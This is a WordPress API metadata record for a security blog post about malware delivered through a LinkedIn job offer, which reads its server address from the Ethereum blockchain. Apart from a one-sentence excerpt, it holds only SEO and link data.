        A LinkedIn job offer led to a private repository with malware in it. It reads its server address out of an Ethereum transaction, and on first run it writes itself into VS Code, Cursor and npm.<\/p>\n","protected":false},"author":1,"featured_media":7146,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_vp_format_video_url":"","_vp_image_focal_point":[],"footnotes":""},"categories":[1,75,37],"tags":[128,126,125,127],"class_list":["post-7138","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog","category-hacky","category-techniky-hackeru","tag-blockchain","tag-linkedin","tag-malware","tag-rat"],"translation":{"provider":"WPGlobus","version":"3.0.3","language":"en","enabled_languages":["cs","en"],"languages":{"cs":{"title":true,"content":true,"excerpt":true},"en":{"title":true,"content":true,"excerpt":true}}},"yoast_head":"\nI ran malware on purpose. It found its server address in the blockchain - DIGITAL SELF-DEFENSE<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.digitalnisebeobrana.cz\/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"I ran malware on purpose. It found its server address in the blockchain - DIGITAL SELF-DEFENSE\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.digitalnisebeobrana.cz\/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain\/\" \/>\n<meta property=\"og:site_name\" content=\"DIGITAL SELF-DEFENSE\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/digitalnisebeobrana\/\" \/>\n<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/digitalnisebeobrana\/\" \/>\n<meta property=\"article:published_time\" content=\"2026-08-06T11:52:10+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-08-07T07:06:18+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.digitalnisebeobrana.cz\/wp-content\/uploads\/2026\/08\/featured-1024x683.png\" \/>\n\t<meta property=\"og:image:width\" content=\"1024\" \/>\n\t<meta property=\"og:image:height\" content=\"683\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Milan\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@sodomak\" \/>\n<meta name=\"twitter:site\" content=\"@sodomak\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Milan\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"19 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.digitalnisebeobrana.cz\\\/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.digitalnisebeobrana.cz\\\/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain\\\/\"},\"author\":{\"name\":\"Milan\",\"@id\":\"https:\\\/\\\/www.digitalnisebeobrana.cz\\\/en\\\/#\\\/schema\\\/person\\\/e932432719ebfc02a9b05e7b12047736\"},\"headline\":\"I ran malware on purpose. It found its server address in the blockchain\",\"datePublished\":\"2026-08-06T11:52:10+00:00\",\"dateModified\":\"2026-08-07T07:06:18+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.digitalnisebeobrana.cz\\\/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain\\\/\"},\"wordCount\":9738,\"publisher\":{\"@id\":\"https:\\\/\\\/www.digitalnisebeobrana.cz\\\/en\\\/#\\\/schema\\\/person\\\/e932432719ebfc02a9b05e7b12047736\"},\"image\":{\"@id\":\"https:\\\/\\\/www.digitalnisebeobrana.cz\\\/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.digitalnisebeobrana.cz\\\/wp-content\\\/uploads\\\/2026\\\/08\\\/featured.png\",\"keywords\":[\"blockchain\",\"linkedin\",\"malware\",\"RAT\"],\"articleSection\":[\"Blog\",\"hacky\",\"Techniky hacker\u016f\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.digitalnisebeobrana.cz\\\/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain\\\/\",\"url\":\"https:\\\/\\\/www.digitalnisebeobrana.cz\\\/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain\\\/\",\"name\":\"I ran malware on purpose. It found its server address in the blockchain - DIGITAL SELF-DEFENSE\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.digitalnisebeobrana.cz\\\/en\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.digitalnisebeobrana.cz\\\/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.digitalnisebeobrana.cz\\\/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.digitalnisebeobrana.cz\\\/wp-content\\\/uploads\\\/2026\\\/08\\\/featured.png\",\"datePublished\":\"2026-08-06T11:52:10+00:00\",\"dateModified\":\"2026-08-07T07:06:18+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.digitalnisebeobrana.cz\\\/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.digitalnisebeobrana.cz\\\/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.digitalnisebeobrana.cz\\\/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain\\\/#primaryimage\",\"url\":\"https:\\\/\\\/www.digitalnisebeobrana.cz\\\/wp-content\\\/uploads\\\/2026\\\/08\\\/featured.png\",\"contentUrl\":\"https:\\\/\\\/www.digitalnisebeobrana.cz\\\/wp-content\\\/uploads\\\/2026\\\/08\\\/featured.png\",\"width\":1536,\"height\":1024},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.digitalnisebeobrana.cz\\\/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/www.digitalnisebeobrana.cz\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"I ran malware on purpose. It found its server address in the blockchain\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.digitalnisebeobrana.cz\\\/en\\\/#website\",\"url\":\"https:\\\/\\\/www.digitalnisebeobrana.cz\\\/en\\\/\",\"name\":\"DIGITAL SELF-DEFENSE\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/www.digitalnisebeobrana.cz\\\/en\\\/#\\\/schema\\\/person\\\/e932432719ebfc02a9b05e7b12047736\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.digitalnisebeobrana.cz\\\/en\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"https:\\\/\\\/www.digitalnisebeobrana.cz\\\/en\\\/#\\\/schema\\\/person\\\/e932432719ebfc02a9b05e7b12047736\",\"name\":\"Milan\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.digitalnisebeobrana.cz\\\/wp-content\\\/uploads\\\/2022\\\/01\\\/logo.png\",\"url\":\"https:\\\/\\\/www.digitalnisebeobrana.cz\\\/wp-content\\\/uploads\\\/2022\\\/01\\\/logo.png\",\"contentUrl\":\"https:\\\/\\\/www.digitalnisebeobrana.cz\\\/wp-content\\\/uploads\\\/2022\\\/01\\\/logo.png\",\"width\":613,\"height\":73,\"caption\":\"Milan\"},\"logo\":{\"@id\":\"https:\\\/\\\/www.digitalnisebeobrana.cz\\\/wp-content\\\/uploads\\\/2022\\\/01\\\/logo.png\"},\"description\":\"Jmenuji se Milan P\u016flkr\u00e1bek, pamatuji si po\u010d\u00edta\u010de bez internetu, Internet bez Google a mobiln\u00ed komunikaci bez \u0161ifrov\u00e1n\u00ed. M\u00e1m za sebou v\u00edce ne\u017e dvacet let profesion\u00e1ln\u00ed praxe v IT, p\u0159edn\u00e1\u0161\u00edm a p\u00ed\u0161u \u010dl\u00e1nky o IT bezpe\u010dnosti, kryptom\u011bn\u00e1ch a nov\u00fdch technologi\u00edch. Od roku 2014 jsem sou\u010d\u00e1st\u00ed nezikov\u00e9 organizace Paraleln\u00ed Polis v Praze.\",\"sameAs\":[\"https:\\\/\\\/www.facebook.com\\\/digitalnisebeobrana\\\/\",\"https:\\\/\\\/x.com\\\/sodomak\"]}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"I ran malware on purpose. It found its server address in the blockchain - DIGITAL SELF-DEFENSE","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.digitalnisebeobrana.cz\/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain\/","og_locale":"en_US","og_type":"article","og_title":"I ran malware on purpose. It found its server address in the blockchain - DIGITAL SELF-DEFENSE","og_url":"https:\/\/www.digitalnisebeobrana.cz\/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain\/","og_site_name":"DIGITAL SELF-DEFENSE","article_publisher":"https:\/\/www.facebook.com\/digitalnisebeobrana\/","article_author":"https:\/\/www.facebook.com\/digitalnisebeobrana\/","article_published_time":"2026-08-06T11:52:10+00:00","article_modified_time":"2026-08-07T07:06:18+00:00","og_image":[{"width":1024,"height":683,"url":"https:\/\/www.digitalnisebeobrana.cz\/wp-content\/uploads\/2026\/08\/featured-1024x683.png","type":"image\/png"}],"author":"Milan","twitter_card":"summary_large_image","twitter_creator":"@sodomak","twitter_site":"@sodomak","twitter_misc":{"Written by":"Milan","Est. reading time":"19 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.digitalnisebeobrana.cz\/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain\/#article","isPartOf":{"@id":"https:\/\/www.digitalnisebeobrana.cz\/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain\/"},"author":{"name":"Milan","@id":"https:\/\/www.digitalnisebeobrana.cz\/en\/#\/schema\/person\/e932432719ebfc02a9b05e7b12047736"},"headline":"I ran malware on purpose. It found its server address in the blockchain","datePublished":"2026-08-06T11:52:10+00:00","dateModified":"2026-08-07T07:06:18+00:00","mainEntityOfPage":{"@id":"https:\/\/www.digitalnisebeobrana.cz\/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain\/"},"wordCount":9738,"publisher":{"@id":"https:\/\/www.digitalnisebeobrana.cz\/en\/#\/schema\/person\/e932432719ebfc02a9b05e7b12047736"},"image":{"@id":"https:\/\/www.digitalnisebeobrana.cz\/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain\/#primaryimage"},"thumbnailUrl":"https:\/\/www.digitalnisebeobrana.cz\/wp-content\/uploads\/2026\/08\/featured.png","keywords":["blockchain","linkedin","malware","RAT"],"articleSection":["Blog","hacky","Techniky hacker\u016f"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.digitalnisebeobrana.cz\/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain\/","url":"https:\/\/www.digitalnisebeobrana.cz\/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain\/","name":"I ran malware on purpose. It found its server address in the blockchain - DIGITAL SELF-DEFENSE","isPartOf":{"@id":"https:\/\/www.digitalnisebeobrana.cz\/en\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.digitalnisebeobrana.cz\/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain\/#primaryimage"},"image":{"@id":"https:\/\/www.digitalnisebeobrana.cz\/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain\/#primaryimage"},"thumbnailUrl":"https:\/\/www.digitalnisebeobrana.cz\/wp-content\/uploads\/2026\/08\/featured.png","datePublished":"2026-08-06T11:52:10+00:00","dateModified":"2026-08-07T07:06:18+00:00","breadcrumb":{"@id":"https:\/\/www.digitalnisebeobrana.cz\/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.digitalnisebeobrana.cz\/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.digitalnisebeobrana.cz\/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain\/#primaryimage","url":"https:\/\/www.digitalnisebeobrana.cz\/wp-content\/uploads\/2026\/08\/featured.png","contentUrl":"https:\/\/www.digitalnisebeobrana.cz\/wp-content\/uploads\/2026\/08\/featured.png","width":1536,"height":1024},{"@type":"BreadcrumbList","@id":"https:\/\/www.digitalnisebeobrana.cz\/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.digitalnisebeobrana.cz\/"},{"@type":"ListItem","position":2,"name":"I ran malware on purpose. It found its server address in the blockchain"}]},{"@type":"WebSite","@id":"https:\/\/www.digitalnisebeobrana.cz\/en\/#website","url":"https:\/\/www.digitalnisebeobrana.cz\/en\/","name":"DIGITAL SELF-DEFENSE","description":"","publisher":{"@id":"https:\/\/www.digitalnisebeobrana.cz\/en\/#\/schema\/person\/e932432719ebfc02a9b05e7b12047736"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.digitalnisebeobrana.cz\/en\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":["Person","Organization"],"@id":"https:\/\/www.digitalnisebeobrana.cz\/en\/#\/schema\/person\/e932432719ebfc02a9b05e7b12047736","name":"Milan","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.digitalnisebeobrana.cz\/wp-content\/uploads\/2022\/01\/logo.png","url":"https:\/\/www.digitalnisebeobrana.cz\/wp-content\/uploads\/2022\/01\/logo.png","contentUrl":"https:\/\/www.digitalnisebeobrana.cz\/wp-content\/uploads\/2022\/01\/logo.png","width":613,"height":73,"caption":"Milan"},"logo":{"@id":"https:\/\/www.digitalnisebeobrana.cz\/wp-content\/uploads\/2022\/01\/logo.png"},"description":"Jmenuji se Milan P\u016flkr\u00e1bek, pamatuji si po\u010d\u00edta\u010de bez internetu, Internet bez Google a mobiln\u00ed komunikaci bez \u0161ifrov\u00e1n\u00ed. M\u00e1m za sebou v\u00edce ne\u017e dvacet let profesion\u00e1ln\u00ed praxe v IT, p\u0159edn\u00e1\u0161\u00edm a p\u00ed\u0161u \u010dl\u00e1nky o IT bezpe\u010dnosti, kryptom\u011bn\u00e1ch a nov\u00fdch technologi\u00edch. Od roku 2014 jsem sou\u010d\u00e1st\u00ed nezikov\u00e9 organizace Paraleln\u00ed Polis v Praze.","sameAs":["https:\/\/www.facebook.com\/digitalnisebeobrana\/","https:\/\/x.com\/sodomak"]}]}},"_links":{"self":[{"href":"https:\/\/www.digitalnisebeobrana.cz\/en\/wp-json\/wp\/v2\/posts\/7138","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.digitalnisebeobrana.cz\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.digitalnisebeobrana.cz\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.digitalnisebeobrana.cz\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.digitalnisebeobrana.cz\/en\/wp-json\/wp\/v2\/comments?post=7138"}],"version-history":[{"count":17,"href":"https:\/\/www.digitalnisebeobrana.cz\/en\/wp-json\/wp\/v2\/posts\/7138\/revisions"}],"predecessor-version":[{"id":7166,"href":"https:\/\/www.digitalnisebeobrana.cz\/en\/wp-json\/wp\/v2\/posts\/7138\/revisions\/7166"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.digitalnisebeobrana.cz\/en\/wp-json\/wp\/v2\/media\/7146"}],"wp:attachment":[{"href":"https:\/\/www.digitalnisebeobrana.cz\/en\/wp-json\/wp\/v2\/media?parent=7138"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.digitalnisebeobrana.cz\/en\/wp-json\/wp\/v2\/categories?post=7138"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.digitalnisebeobrana.cz\/en\/wp-json\/wp\/v2\/tags?post=7138"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}